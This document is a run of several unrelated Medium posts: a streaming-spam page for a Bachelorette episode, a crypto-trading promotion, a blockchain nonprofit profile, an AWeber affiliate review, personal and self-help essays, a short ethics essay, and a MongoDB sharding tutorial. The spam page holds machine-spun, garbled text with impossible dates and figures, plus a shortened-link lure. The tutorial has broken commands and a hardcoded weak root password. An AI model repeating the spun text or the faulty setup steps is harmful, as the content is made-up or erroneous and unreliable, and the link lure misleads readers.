New Episode — The Bachelorette Season 16 Episode 11 (Full Episode) Top Show Official Partners ABC TV Shows & Movies Full Series Online NEW EPISODE PREPARED ►► https://tinyurl.com/y5uzkwb4 🌀 All Episodes of “The Bachelorette” 016x011 : Week 11 Happy Watching 🌀 The Bachelorette The Bachelorette 16x11 The Bachelorette S16E11 The Bachelorette Cast The Bachelorette ABC The Bachelorette Season 16 The Bachelorette Episode 11 The Bachelorette Season 16 Episode 11 The Bachelorette Full Show The Bachelorette Full Streaming The Bachelorette Download HD The Bachelorette Online The Bachelorette Full Episode The Bachelorette Finale The Bachelorette All Subtitle The Bachelorette Season 16 Episode 11 Online 🦋 TELEVISION 🦋 (TV), in some cases abbreviated to tele or television, is a media transmission medium utilized for sending moving pictures in monochrome (high contrast), or in shading, and in a few measurements and sound. The term can allude to a TV, a TV program, or the vehicle of TV transmission. TV is a mass mode for promoting, amusement, news, and sports. TV opened up in unrefined exploratory structures in the last part of the 191s, however it would at present be quite a while before the new innovation would be promoted to customers. After World War II, an improved type of highly contrasting TV broadcasting got famous in the United Kingdom and United States, and TVs got ordinary in homes, organizations, and establishments. During the 1950s, TV was the essential mechanism for affecting public opinion.[1] during the 1915s, shading broadcasting was presented in the US and most other created nations. The accessibility of different sorts of documented stockpiling media, for example, Betamax and VHS tapes, high-limit hard plate drives, DVDs, streak drives, top quality Blu-beam Disks, and cloud advanced video recorders has empowered watchers to watch pre-recorded material, for example, motion pictures — at home individually plan. For some reasons, particularly the accommodation of distant recovery, the capacity of TV and video programming currently happens on the cloud, (for example, the video on request administration by Netflix). Toward the finish of the main decade of the 150s, advanced TV transmissions incredibly expanded in ubiquity. Another improvement was the move from standard-definition TV (SDTV) (531i, with 909093 intertwined lines of goal and 434545) to top quality TV (HDTV), which gives a goal that is generously higher. HDTV might be communicated in different arrangements: 3451513, 3451513 and 3334. Since 115, with the creation of brilliant TV, Internet TV has expanded the accessibility of TV projects and films by means of the Internet through real time video administrations, for example, Netflix, HBO Video, iPlayer and Hulu. In 113, 39% of the world’s family units possessed a TV set.[3] The substitution of early cumbersome, high-voltage cathode beam tube (CRT) screen shows with smaller, vitality effective, level board elective advancements, for example, LCDs (both fluorescent-illuminated and LED), OLED showcases, and plasma shows was an equipment transformation that started with PC screens in the last part of the 1990s. Most TV sets sold during the 150s were level board, primarily LEDs. Significant makers reported the stopping of CRT, DLP, plasma, and even fluorescent-illuminated LCDs by the mid-115s.[3][4] sooner rather than later, LEDs are required to be step by step supplanted by OLEDs.[5] Also, significant makers have declared that they will progressively create shrewd TVs during the 115s.[1][3][8] Smart TVs with incorporated Internet and Web 3.0 capacities turned into the prevailing type of TV by the late 115s.[9] TV signals were at first circulated distinctly as earthbound TV utilizing powerful radio-recurrence transmitters to communicate the sign to singular TV inputs. Then again TV signals are appropriated by coaxial link or optical fiber, satellite frameworks and, since the 150s by means of the Internet. Until the mid 150s, these were sent as simple signs, yet a progress to advanced TV is relied upon to be finished worldwide by the last part of the 115s. A standard TV is made out of numerous inner electronic circuits, including a tuner for getting and deciphering broadcast signals. A visual showcase gadget which does not have a tuner is accurately called a video screen as opposed to a TV. 🦋 OVERVIEW 🦋 A subgenre that joins the sentiment type with parody, zeroing in on at least two people since they find and endeavor to deal with their sentimental love, attractions to each other. The cliché plot line follows the “kid gets-young lady”, “kid loses-young lady”, “kid gets young lady back once more” grouping. Normally, there are multitudinous variations to this plot (and new curves, for example, switching the sex parts in the story), and far of the by and large happy parody lies in the social cooperations and sexual strain between your characters, who every now and again either won’t concede they are pulled in to each other or must deal with others’ interfering inside their issues. Regularly carefully thought as an artistic sort or structure, however utilized it is additionally found in the realistic and performing expressions. In parody, human or individual indecencies, indiscretions, misuses, or deficiencies are composed to rebuff by methods for scorn, disparagement, vaudeville, incongruity, or different strategies, preferably with the plan to impact an aftereffect of progress. Parody is by and large intended to be interesting, yet its motivation isn’t generally humor as an assault on something the essayist objects to, utilizing mind. A typical, nearly characterizing highlight of parody is its solid vein of incongruity or mockery, yet spoof, vaudeville, distortion, juxtaposition, correlation, similarity, and risqué statement all regularly show up in ironical discourse and composing. The key point, is that “in parody, incongruity is aggressor.” This “assailant incongruity” (or mockery) frequently claims to favor (or if nothing else acknowledge as common) the very things the humorist really wishes to assault. In the wake of calling Zed and his Blackblood confidants to spare The Bachelorette, Talon winds up sold out by her own sort and battles to accommodate her human companions and her Blackblood legacy. With the satanic Lu Qiri giving the muscle to uphold Zed’s ground breaking strategy, The Bachelorette’s human occupants are subjugated as excavators looking for a baffling substance to illuminate a dull conundrum. As Talon finds more about her lost family from Yavalla, she should sort out the certainties from the falsehoods, and explain the riddle of her legacy and an overlooked force, before the world becomes subjugated to another force that could devour each living being. Claw is the solitary overcomer of a race called Blackbloods. A long time after her whole town is annihilated by a pack of merciless hired soldiers, Talon goes to an untamed post on the edge of the enlightened world, as she tracks the huggers of her family. On her excursion to this station, Talon finds she has a strange heavenly force that she should figure out how to control so as to spare herself, and guard the world against an over the top strict tyrant.

https://medium.com/@waupxerk/full-eps-the-bachelorette-se-16ep-11-series-16-720p-c62b85d63794

[]

2020-12-16 01:53:59.823000+00:00

['TV Series', 'Startup', 'TV Shows', 'Reality']

Using Artificial Intelligence in Trading

Artificial intelligence (AI), which is also called machine intelligence, is a wide-ranging branch of computer science focused on building smart machines that can perform tasks, which normally uses human intelligence. In fact, AI enables machines to learn from experience, adapt to new ideas and execute human-like tasks. This advanced technology has been used to power self-driving cars, voice-activated assistants and, now, trading. Traditional trading strategies use technical analysis conducted by humans, to assess investments and detect trading opportunities. This is done by analysing statistical trends collected from trading activities, like price movement and volume. However, when a technical analysis relies on a person’s ability to understand trends and patterns, it leads to a number of issues including human errors that may occur, biases and the limited amount of data a single person would be able to absorb. AI-based algorithms enable the analysis of more and deeper data, since this is required to train deep learning models because they learn straight from the data itself. With the use of machine learning, new ideas can be generated, and data can be collected from an unlimited number of articles, chatrooms, and other sources. This inspired the creation of Red Fort Exchange, a 360-degree Global Crypto Exchange and Trading Platform, which introduced AI-based algorithms meant to solve problems. It is the first platform that enables new traders to participate in crypto trading safely and without much hassle.

https://medium.com/@rfexchange08/using-artificial-intelligence-in-trading-6a09a6b4ed50

['Red Fort Exchange']

2020-02-05 02:44:44.526000+00:00

['Bots', 'Digital', 'Artificial Intelligence', 'Red Fort Exchange', 'Technology']

What is PositiveBlockchain.io?

PositiveBlockchain.io is the open-source database, media platform and community exploring the potential of blockchain technologies for social and environmental impact. We like to call us Blockchain Positivists :) Positive Blockchain lists startups and projects from corporates, public or non-profit organizations using blockchain and decentralized technologies as tools to create a positive impact and solve social or environmental issues. What all PB projects share in common is the aim to positively impact people’s life. The challenges 39% of the world’s population — mostly in developing countries, does not have a bank account the average cost of remittances is of 7,45% of funds transfered 1.1 billion people are living off-grid 1,2 billion people currently lack of document to prove they exist and so on… We have a strong focus on how technology can help reach the 17 Sustainable Development Goals formulated by the United Nations. In a broader sense we are deeply convinced that blockchain technologies are best used when applied to positively impact people’s lifes. The solutions There are blockchain solutions designed to enable financial inclusion, optimize energy access, improve education, hack healthcare, track and facilitate aid & development, fight corruption, protect democracy and individual rights, track and report social impact, and much more. Browse 850+ of them in the PB database on the website or AirTable Categories used by PositiveBlockchain.io Our story PositiveBlockchain.io started end of 2017 after clear observations that most online discussions around blockchain were focusing on cryptocurrencies and trading. Far from the real life applications we decided to focus on! It therefore started as a week-end listing project from a few individuals and has evolved into a great open-source community and the main go-to resource page and database in blockchain for social/environmental impact. Our vision Never has our world shared such a wide consensus on the need for sustainable development. For much of today’s population, there are still countless socio-economic, environmental and political challenges to be addressed urgently. New technology can play a defining role and creative positive impact in people’s lives from many fronts. In the meantime, blockchain is set to become one of the 21st century’s most remarkable innovations due to its main ability to disrupt cross-sectoral value chains. Yet, its wider potential in solving real-life socio-environmental challenges remains one of the least understood and under-discussed questions — beyond the narrow hype of cryptocurrency trading. Some may attribute our lack of understanding to the fact that blockchain is simply new for most of us (and it’s true). We believe a deeper, more worrying reason at the root — is this: There is a systematic knowledge gap between the technocratic circle (the shapers who build blockchain solutions on a technical level) and the social impact circle (the beneficiaries of technology directly in touch with the complexities of the development challenges). In other words, the world of blockchain and the world of social impact are far and apart. PositiveBlockchain seeks to connect the two: blockchain projects and positive impact for people. Without integrating the two conversations, the world risks either driving blockchain without meaningful impact, or overlooking smart solutions for big challenges. Just as how blockchain could bring upon systematic changes, we aim to help bridge this systematic gap. By gathering knowledge and integrating conversations from both sides, we can build broader understanding on how blockchain technologies can be used to creative positive impact. Our core missions Educate society about positive blockchain applications by providing educational content. about positive blockchain applications by providing educational content. Help navigate the blockchain chaos by providing relevant insights and highlighting impactful solutions. Our open-source database is key for this! It is now the 1st and most comprehensive directory of positive blockchain projects: PositiveBlockchain project database Help entrepreneurs and organizations increase their impact with blockchain by curating the Hub and offering tools or support with blockchain by curating the Hub and offering tools or support Develop concrete solutions by conducting research projects consortiums or consulting missions by conducting research projects consortiums or consulting missions Accelerate the ecosystem of positive blockchain by mobilizing communities stakeholders, funding through events and more! Content : active information & storytelling that bring more depth and grow visibility for positive blockchain projects of positive blockchain by mobilizing communities stakeholders, funding through events and more! : active information & storytelling that bring more depth and grow visibility for positive blockchain projects much more to come! send us your ideas ;) Our Contributors Lucas Zaehringer, Carmen Ng, Ronald Steyer, Sandeep Bajjuri, Maciej Bulanda (board members); Lukas Mocek, Ricardo Amaral, Analia Ramos, Khalid Belghiti, Maike Gericke, Susanne Köhler, Nadra Abdallah-Khodja, Marco Perez, Tri Nhan Vu, Paul Peschel, Felix Green, Andrew Wood, Hsiao-Pei Liao, Madeleine Parker, Anahi Santoyo, Katrie Loewe, Clare McCartney, Greeshma M R, Pegah Jamali, Balazs Nemethi, Boris Dyckhoff, Daria Markova, Karsten Lessing, Andrea Vinelli, Florent Thurin. Thanks to them! Become one of them Partner with us Follow us!

https://medium.com/positiveblockchain/what-is-positiveblockchain-io-5c4aede8e21

[]

2020-12-04 11:55:45.706000+00:00

['Social Impact', 'Bitcoin', 'Blockchain', 'Open Source', 'Decentralization']

AWeber automation. Building an email list from scratch.

Introduction AWeber is one of the leading tools for email marketing to help to build an email list from scratch. This tool is recommended for small to medium level business email automation. We can make amazing professional emails by its drag and drop facility, ability to build a responsive landing page and sales funnel, a series of emails can be sent on the different trigger and time period by its email automation, super 24×7 US grounded customer support, managing your email list easy, also it analyzes send email data, and many more advance facility. AWeber created in the year 1998. It has a massive market experience of more than two decay, also it serves more than one million businesses around the world. Simply this software is an obvious choice for any small to medium level business email marketing. If you want Excellent lead promotion and conversion strategies, AWeber can benefit you positively. It’s fine and easy to use. Now we will enter into deep facts and features, why we must pick this tool. Pricing AWeber offers a free plan, where it has a restricted list up-to 500 subscribers and it allows sending 3000 emails in a month. But it allows one profile list. So beginners can easily use its free plan and start building an email list from scratch. When they build a good number (more than 500) of email lists and requirements come for more number of profile lists, this is the time to switch over to the paid plan. In comparison to other email marketing tools, the price of AWeber is less or you can say it’s quite reasonable. For Pro plan up-to 500 email subscriber list, price is $19, up-to 2500 subscriber list price is $29, up-to 5000 subscriber price $49, up-to 10000 customer cost $69, up to 25000 email list price comes $149. The price is given above when it is billed monthly. The price comes a little less when it is billed quarterly and annually. So the price is affordable and reasonable for small and medium level business. Drag and drop campaign creator through automation. The email campaign creator is precise and simple so that building an email list from scratch is easier for you. You just have to use drag and drop features to build a professional email. For making series email automation just needs drag actions such as “send a message” “wait” and “apply the tag”. Inside the “send message” we have to design the email. Aweber offers various professional templates to design emails. “Apply the tag” and “wait” are the conditions. Campaigns can be triggered by adding a tag to an email subscriber. Also, it can insert waiting time in-between two emails. Before you choose an email marketing tool, an important question is, how quickly you can make and send out a professional email? AWeber’s campaign manager is running with a drag & drop editor. Coding knowledge is not at all required. Automation The sending of automatic follow-up emails based on customer behavior on the website is one of the great features to start building an email list from scratch. If you want to give your thank you message to the customer who comes to your website and buys a product, this is the best tool. If they don’t return after two or three months, AWeber has the option of giveaway coupons to get buyers back to the online shop again. There is an option to create automated promotions that go out at certain intervals. So, if you want to pitch your product online to any new e-commerce customer an automated email is the best option, it just takes a moment to deliver the email. High-Quality support. When you think about support, AWeber stands out from other email marketing tools. When you face any technical problem, there is high-end support and help exists. If you want to learn more about efficient email marketing, there is also support through live talk, raising a ticket, etc. I definitely want to mention here that AWeber support is proactive. Customer Segmenting Customer segmentation is nothing but recognizing and list out people who drive to your online store or the landing page. Sending huge emails to everyone would return fewer conversions. So, AWeber has wide resources for segmenting individuals. Possibly you have to consider some people to be rich. You can give separate offers to those visitors. However, the AWeber role is to segment your customer properly. Reporting Reporting and analytics is another perfect way to take email marketing to the next level. The degree of email analytics in AWeber is very high. A number of excellent metrics, counting open rate, click-through rate, and email bounce, can be monitored by this email marketing platform. Pros and cons Pros Segmentation of list. Compact solutions for Marketing Automation. Outstanding reporting system. Robust set of features for automating the list. Drag & drop editor for the Landing Page. Excellent for autoresponders. Cons The learning curve is a little like. Migrating data is not very easy. Some features are a bit obsolete. Bottom line So, in my opinion, AWeber is the obvious choice for email marketing now, if you are a blogger, an affiliate marketer, or operating an online store. The models are fantastic. All online entrepreneurs must consider AWeber, and you must know in detail what are the facilities the platform provides. So, start with a free trial and grow your email list. DISCLAIMER: The above article as a whole is for review and information purposes only. Individual results may vary. It is very important for you to know that everything you do and get from this is at your own risk and depends on how much work you are willing to put in. Some of the links in the article on this are affiliate links, meaning that some of the purchasing made through the links will give me a commission, without any additional cost occurring to you.

https://medium.com/@digitalniladri/aweber-automation-building-an-email-list-from-scratch-85eb306298c4

['Niladri Majumder']

2020-11-24 07:00:31.947000+00:00

['Aweber', 'Email Marketing', 'Aweberreview', 'Email Marketing Tips', 'Aweber Pricing']

First step into Medium

This is, I suppose, a little test run of mine for what’s to come. Actually writing on my phone since I’m literally lying down on my bed. Laptop seems too far out of my reach and I’m super lazy. I suppose, one thing that motivated me to immediately write here on medium at this very moment is to really take that first step and publish my first ever blog or article or whatever out into the world. Especially on my favourite site that changed my life dramatically, Medium. The plan So for the most part, I aim to write about my daily life and experiences I have and what I learn from them. This comes in line with me writing in relation to my past obsession and addiction to productivity and self help. I may not be the best writer now, heck, I may be the worst writer of all that have landed here. But who cares? It’s better to be the worst writer than to not be a writer. Wow. Did I just write that? I did not plan to write the most Inspiring thing I’ve ever read or written. Holy Cow. Lemme make it as a quote, cause that’s cool. It’s better to be the worst writer rather than not being writer. Haha, that’s amazing. And I think this little monologue is enough to show you my personality in how I view my life and things around me. Seriously, back to the plan As for now I’m not planning for “success" in medium. I aim to set my foot and settle into the environment. Get into the community. To be amongst those I respect and love on this platform. Rather than looking up to them from a far distance, it’s time for me to look up to them on the same grounds. Oh wait. I just saw the photo icon on the right side of the editor bar, lemme see what I can do. Oh it’s just add image, that’s sad. Oh well this photo of me thinking is a good start since that’s the latest photo on my gallery Okay, anyway. Before this gets rambly, let’s talk about who I am as a person generally. Who am I. I am Danial Mirza Bin Ahmad Zawawi. An aspiring music producer, writer and storyteller. Bad with words (for now) and have spent 14 years learning to play the piano. Currently dabbling on FL Studio to learn more about sound engineering and composition. I’ll uselessly plug my YouTube here 👉🏽 cause why not? Wait, did I mention that I’m a first year medical student? *Checks* Welp now you know. Medicine was an on and off interest for years and a last minute decision with reluctance thanks to my mom’s strong pushes. Though, I honestly don’t regret giving in. This path I took definitely changed the way I think and pushed me more through what I thought was my limit. Though, with all honesty, I have no slight interest or thought to actually be a Dr. yet. Never thought that far into the future despite being in medschool. But I need to pay off my debt somehow (oof) so I’ll figure it out throughout the next 5 to 7 years of my education. And I’m bringing anyone who reads my content along with me 😀. My goals My weekly goal, or so I’d call it is to constantly make music. My daily goal, is to write about the path I take and the growth I experience and the logic behind it My educational goal (medschool goal) to survive and make use of the knowledge. My life goal….. to be me. To enjoy the journey. To make the boring things fun. To love the things I hate. To grow as a person and help people around me in any ways I am able to. What is Medium to me It is a journal I recently decided to use Twitter as a journal as well but I guess I should use them hand in hand. For quick thought release, Twitter, for long elaboration and deep thought, Medium. I used to use note taking apps to write these thoughts that linger in my heart but now I want to speak it out. I want to let out my opinions, my likes and dislikes and grow a stand in society. Along the way, I’ll try to learn about a thing or two each time I write to improve my writing, composition, arrangements, ideas. So if anyone read this, comments, suggestions and feedback is gladly accepted. I’ve experienced tons of criticism from my music, so I can boldly say that I am prepared to receive those in my writing. So I guess this is the end of the beginning, pain will ensue but despite that, if anyone ever reads this, I really thank you. Peace out for now

https://medium.com/@danialmirza/first-step-into-medium-1da0cc59dd9

['Danial Mirza']

2020-12-20 09:20:56.770000+00:00

['Productivity', 'Daily Thoughts', 'Daily Blog', 'Daily Life', 'Self Help']

Solving the “everybody’s problem becomes nobody’s responsibility” issue

Predominance of responsibility at the individual level rather than at the societal-level Floridi (2016) is pointedly describing the issue around the distribution respectively diffusion of responsibility as “everybody’s problem becomes nobody’s responsibility” (p. 11). He suggests a framework that is recommitting responsibility for any action of a collective back to the individual by rejecting the concept of faultless responsibility, i.e., even when an individual would lack intention or information regarding the immorality of his action (Floridi, 2016). Ralston et al. (2014) found that the individual level determines ethical behavior rather than the societal level. This may be surprising when considering, for many psychological explanations often defining, the influence of culture and society. One possible explanation could be that there is an increasing variety of values within a single culture (Ralston et al., 2014). One type of collectivist setting, however, was found to be influencing ethical behavior, namely institutional collectivism (Ralston et al., 2014). Education in “competitiveness” generally may raise selfish tendencies Martin (2012) found that already after short time business students became more prone to commit plagiarism than before, what may be explained by the competitive nature of studies in commerce. Not as often argued in the scientific literature so far, Martin’s (2012) well-validated study states that the level of plagiarism was found to be higher for individualists than collectivists while there was no significant difference between Eastern and Western students. Collective imprisonment of organizational citizens In contrast to above individualist tendencies, Singh et al. (2012) demonstrated the mechanism of collective imprisonment which causes the members of an organization to sanction non-adherence to in-group (Easterner) goals of deterring misbehavior and (Easterner and Westerner) goal of group consensus using blame and punishment. Can accountability be attributed to a collective mind? To this question of philosophy of the mind, Baddorf (2016) points to the Phenomenal Intentionality Research Program (PIRP) that contradicts the concept of a collective to which moral accountability could be allocated the same way as for individuals. If the question is changed toward whether individuals can be held accountable for their actions, even if it contributes to only a distant negative consequences and the individual isn’t aware of it, then harmful collective results aren’t evident enough to change individual behavior (Zoller, 2015). Zoller (2015) argues that direct obviousness should be created by pointing to the contribution to the moral invisibility of an issue and that there is a responsibility, for example, to avoid naive consumption by pro-active self-information. Moral education Regarding improved responsibility, one has to recognize the responsibilities on both the societal (Eastern and Western) and individual level (Isaacs, 2011), and that moral education (for psychologists) about a common sense of universal morality should be further fostered (Diessner, 2014). References Baddorf, M. (2016). Phenomenal consciousness, collective mentality, and collective moral responsibility. Philosophical Studies, 1–18. doi:10.1007/s11098–016–0809-x Diessner, R. (2014). Review of Toward a socially responsible psychology for a global era. Journal Of Moral Education, 43(1), 124–126. doi:10.1080/03057240.2014.886424 Floridi, L. (2016). Faultless responsibility: On the nature and allocation of moral responsibility for distributed moral actions. Philosophical Transactions Of The Royal Society A: Mathematical, Physical And Engineering Sciences, 374(2083), doi:10.1098/rsta.2016.0112 Isaacs, T. L. (2011). Moral responsibility in collective contexts. [electronic book]. New York ; Oxford University Press, 2011. Martin, D. E. (2012). Culture and unethical conduct: Understanding the impact of individualism and collectivism on actual plagiarism. Management Learning, 43(3), 261. doi:10.1177/1350507611428119 Ralston, D., Egri, C., Furrer, O., Kuo, M., Li, Y., Wangenheim, F., & … Palmer, I. (2014). Societal-Level Versus Individual-Level Predictions of Ethical Behavior: A 48-Society Study of Collectivism and Individualism. Journal Of Business Ethics, 122(2), 283–306. doi:10.1007/s10551–013–1744–9 Singh, R., Simons, J., Self, W., Tetlock, P., Zemba, Y., Yamaguchi, S., & … Kaur, S. (2012). Association, Culture, and Collective Imprisonment: Tests of a Two-Route Causal-Moral Model. Basic And Applied Social Psychology, 34(3), 269–277. Zoller, D. (2015). Moral Responsibility for Distant Collective Harms. Ethical Theory And Moral Practice: An International Forum, 18(5), 995–1010.

https://medium.com/@mathias-sager/solving-the-everybodys-problem-becomes-nobody-s-responsibility-issue-b31c1b3f748d

['Mathias Sager']

2019-02-03 12:41:14.407000+00:00

['Psychology', 'Society', 'Responsibility', 'Social Psychology', 'Morality']

How to Close the Gaps Between Where You Are and Where You Want to be

I’m slightly obsessed with gaps. I always want to know exactly where I am so that I can judge where it is I want to be — and the distance between the two. I need two fixed points. So, I’m constantly evaluating myself. Or my life. Different aspects of my life. What’s my money situation right now? How’s my business? My house? My relationship with my husband? My personal style? When was the last time I talked to my each of my brothers and sisters? How happy am I? How do I feel? How’s my time management? My sleep? And on and on. I am drawn like a moth to the flame to self-evaluation tools. I dislike labels in general, but anything that helps me to figure myself out? I’m there. Because I know where I want to be. I have a very clear vision of what I want. I always have. Where I am now is murkier. It’s harder to judge. Part of that is because treading water is so much work, it sure feels like swimming, even if you don’t make any progress at all. I’m confident in my ability to close the gaps, though, if I can just figure out what and where they are. I’ve done it before. Even massive gaps. Like the gap between poverty and not being poor anymore. Or the gap between having a job I hate and owning a business that I absolutely love. The gap between really wanting to be a writer and being a full-time working writer who’s published by major publishers. The gap between sleep apnea and loss of mobility and losing 120 pounds so that those resolved. The key is remembering that getting anywhere successfully requires two fixed points. In this case — where you are and where you want to be. Start with an honest evaluation of where you are right now. The good news is that you already know these answers. The harder news is that it can be difficult to face what you know. I made some massive, sweeping changes in my life in 2015 and 2016. They started with deep self-evaluation that happened while I was sitting in the hospital for hours and hours, days and weeks on end, with my mother-in-law. She was hospitalized with severely high blood pressure and delirium that was caused by an infection. She was also in the early stages of dementia. She couldn’t be left alone in the hospital without being restrained to her bed, so I sat with her sixteen hours a day. Her problems stemmed from a lifetime of heavy smoking. It occurred to me that if she’d just quit when she was in my age, in her forties, she could have had a healthy old age. And then I caught a marathon of My 600 Pound Life on her little TV one day. At the time my own weight was creeping up on 400 pounds. And all of a sudden I could very, very clearly see the path between 400 and 600 and I knew that I was on it. And that I could do something then, in my 40s, to disrupt the path I was on so that my own kids were sitting with me in the hospital if I did manage to make it to 70. By the end of the year I’d lost more than 100 pounds. Once I felt better, the gap between the work I wanted to do and the work became harder to ignore and I had the energy to put toward trying to close it. Self-evaluation is about figuring out the gaps that are causing you the most problems — that are holding you back the hardest. Once you start to close those, the next steps will be easier to see. Here are some ideas for finding your gaps. It might be easy. Is there some part of your life that sucks so bad right now that you know, for sure, it has to change? Where are you struggling? What keeps you up at night? Is there something nagging at you? Something, maybe, that just doesn’t feel quite right. Maybe some part of your life is a squeaky wheel or like a rock in your shoe. Take a look at your book shelf. Do you find yourself picking up books about a certain subject over and over? Sometimes the thing you’re trying to learn about is the gap you’re already trying to close. Is there something you want in your life that just feels too big or hard or scary to even think about right now? If it feels impossible, it might be a gap. Is there some aspect of your life that you find yourself constantly having to convince yourself that you’re just fine with? Imagine you run into a friend five years from now — someone you haven’t seen in a long time — and your life is fabulous. Why is your life fabulous? What’s fabulous about it? The things that make it fabulous that you don’t already have going on are probably gaps. What’s going on in your life right now that you’ll regret — either because you’re doing it or because you’re not — when you’re 80. Once you know your gap, make a plan. Here’s my best advice — just make the plan. Don’t worry right now about how you’re going to make it happen or whether you even can. Just plan with wild abandon for now. I don’t particularly believe in the Law of Attraction. I don’t believe that the universe is just waiting to give you what you want if you ask properly. But I do believe that if you articulate the things you need and want, it’s far easier to actually get them because you’re far more aware of them. Once you know, for instance, that you really want to finish your college degree or write a book or get out of debt or get a new job (and you really understand your starting point)— opportunities seem to just pop up because you’re looking for them. And asking for them. So make your plan. Be audacious. You might as well, right? Go big. What do you really want? But make sure you really do want it. For instance, when I think about money, I realize there’s a limit to how much I want. I want to have enough. But I don’t have any real desire to be filthy rich. I don’t need millions. I don’t want millions, because I don’t want to do the work that it takes to get that much money. I want to have enough money to be comfortable and financially independent — but that’s where my desire for money ends. But don’t limit yourself to what you think you can have. Back to the money thing, ‘financial independence’ for me personally means never having to work for someone else again. It also means being debt free, including a house that I really love, and having enough money to weather any storms that might come. I’d also like to be able to retire when I’m old. I also want enough money to be able to travel and have nice things. I don’t have particularly expensive tastes — I’m not a luxury travel type person, for example. I’d like to fly first class, though. And I want to not have to always think about money and the cost and buying the cheapest thing when I buy something. That being said, I also know that I’ll never be someone who wants an $80,000 car or a $300 pair of jeans. I just won’t. The more you refine your plan, the more you’ll understand yourself and what you really want. And a path will present itself. All you do, then, is take the first step. Here’s a secret for you: If you can’t take the first step for some reason — then it’s not the first step. You’ve probably got some work to do to get to that step. And that’s okay. This isn’t a race. I think you’ll be surprised though by how how quickly things move once you finally start closing those gaps. It’s addictive. So, to find that first step, keep looking until you find something you actually can do right now. Today. And then just do that thing. And tomorrow, do the next thing. Don’t worry about anything beyond that. Do the next thing and the next — it’s a little like crossing a bridge. If you keep taking steps forward, it would be impossible not to eventually get to the other side no matter how long it takes. You’ve already determined the end point. You can stop thinking about it now. And you know where you’re starting. You can stop worrying about that, too. Just focus on your work. The work will get you where you want to be. (Even, by the way, if that’s not quite where you thought it that might be when you started.)

https://medium.com/the-write-brain/how-close-the-gaps-between-where-you-are-and-where-you-want-to-be-67b0b2951a2d

['Shaunta Grimes']

2020-01-05 00:47:38.271000+00:00

['Self', 'Productivity', 'Life Lessons', 'Goals', 'Life']

How To Deploy 3 Node MongoDB Shard Cluster On AWS

Photo by Safar Safarov on Unsplash In this tutorial, we will deploy a MongoDB sharded cluster in AWS. You can try this tutorial to deploy sharded cluster into any cloud with a little change. Currently, as per MongoDB guidelines you need 3 nodes as config server replica set, at least 3 shard nodes where each node is 3 member replica set and one or more mongos server. According to the official documentation, we need to have below infrastructure: 3 AWS EC2 instances for config servers (3 Node replica set) 9 AWS EC2 Instances for the deployment of 3 shards where each shard has a replica set of 3 nodes 1 AWS EC2 instance for mongos But for this tutorial, we will deploy the shard cluster with below infrastructure: 1 AWS EC2 instance for config servers (1 Node replica set) 2 AWS EC2 Instances for the deployment of 2 shards where each shard have a replica set of 1 node 1 AWS EC2 instance for mongos Let’s do it then — Config Server In the sharded cluster, every operation/query has certain metadata stored in it, which decides the path of data storage along with MongoDB read and write operations. Config servers is a key database that holds metadata information to operate sharded cluster Deployment: — Config sever needs to be deployed in 3 node replica set and making it a replica set is mandatory. We will deploy a single node replica set for this tutorial. Mongos Mongos is a router which works as the main host, You can use MongoDB client libraries to operate on a sharded cluster with any number of Mongos hosts. Deployment: — Multiple mongos routers can be connected with the config server. As they don’t have any database of their own. They communicate with config servers to operate with sharded cluster. Having multiple mongos server help in the case where one mongos server is down client will use other mogos server to query cluster. All mongodb client libraries support multiple mongos hosts. Shards Shards are mongod instances that contain database and collection data. Distribution of data is decided by config servers based on shard keys configured by the mongos server. Deployment: — By MongoDB guidelines, we need to have a 3 node replica set per shard. For simplicity we will be creating two shards here with 1 node replica set. You can choose any cloud you wish (AWS/Oracle/AZure etc). For this article we will use AWS. Create 3 Ubuntu instances and name them 1 Server instance for config server/mongos (config_instance) 2 Servers for shards (shard1_instance/shard2_instance) MongoDB Installation: You can follow MongoDB guidelines — https://docs.mongodb.com/manual/tutorial/install-mongodb-on-ubuntu/ MongoDB Version: You have to be a little cautious here in case you are trying to restore any kind of data into sharded cluster. mongorestore doesn’t work above 4.2.x because of transaction support cannot be part of a backup strategy for 4.2+ sharded clusters that have sharded transactions in progress, as backups created with ** Notes on MongoDB site - mongodump and mongorestore be part of a backup strategy for 4.2+ sharded clusters that have sharded transactions in progress, as backups created with mongodump do not maintain the atomicity guarantees of transactions across shards. Installation procedure Ssh into config_instance and install MongoDB from the given link. MongoDB will place a config file at location /etc/mongod.conf Open /etc/mongod.conf file and change data directory or log directory by changing properties dbPath and systemLog path. if you are changing default directories, do not forget to give ownership to mongodb user created by during mongodb installations using below command sudo chown mongodb:mongodb /volume_paths -R 3. After installation run mongod service using command sudo service mongod restart 4. If you want to go ahead with key file security lets create a key file too openssl rand - base64 756 > /home/ < userename > / chmod 400 shardauthkey 5. Now open /etc/mongod.conf in the text editor of your choice vim/nano etc. and copy below setting to the bottom of /etc/mongod.conf file sharding: clusterRole: configsvr replication: replSetName: config net: bindIp: 0.0.0.0 6. We have declared server cluster role and we have set up a replica set name as well in mongodb configuration. 7. Let’s restart mongod service. After restart lets enter to the mongod shell 8. Enter mongod shell using below command. Here port is 27017 which is a default port configured in mongod.conf file mongod --port=27017 9.Once the mongod shell is open enter below command { _id: "config", configsvr: true, members: [{ _id: 0, host: "<interanl/elastic_ip_of_config_server>:27017" }, ] } You will see a replica set has been initiated. We have initiated a single node replica set for now. You can add more instances in the replica set if you need to. You will see shell turned into primary after a while. 10. Now set up a default user for authentication which is very important. Enter command after opening mongo shell use admin db.createUser({ user: "config", pwd: "config@123", roles: [{ role: "root", db: "admin" }] }) 11. Exit from the terminal now enter the mongo shell again with below command: mongo --port=2707 -u config -p config@123 --authenticationDatabase=admin 12. Open config file again /etc/mongod.conf and append below lines at the bottom of the file security: keyfile: /home/<username>/shardauthkey Restart mongod service. We have set up our config server. Shard Servers: Shard-1: Ssh into shard1_instance and shard2_instance we have created at the beginning of this tutorial. You can setup both shards with same procedure mentioned below Install MongoDB as defined at the beginning of this article Copy key file from config server put it in user home directory of both shard instances Give key file suitable permissions. We need to use this key file in our sharded cluster so give it requiried permissions so that it can be used sudo chown 400 /home/<username>/shardauthkey 5. Open again /etc/mongod.config file in any text editor and place below lines at the bottom of file. sharding: clusterRole: shardsvr replication: replSetName: shard1 net: bindIp: 0.0.0.0 For shard2 just change the name of the replica set to shard2 for ease 6. Now enter into mongod shell with below command mongod --port=27017 7. Initiate a replica set. Its a single node replica set. Add more server to this shard if you wish rs.initiate({ _id: "shardsvr", members: [{ _id: 0, host: "elastic_ip/public_ip/private_ip>:27018" }, ] }) 8. After few seconds you will see mongod shell turning to primary 9. Run below command and create auth user here use admin db.createUser({ 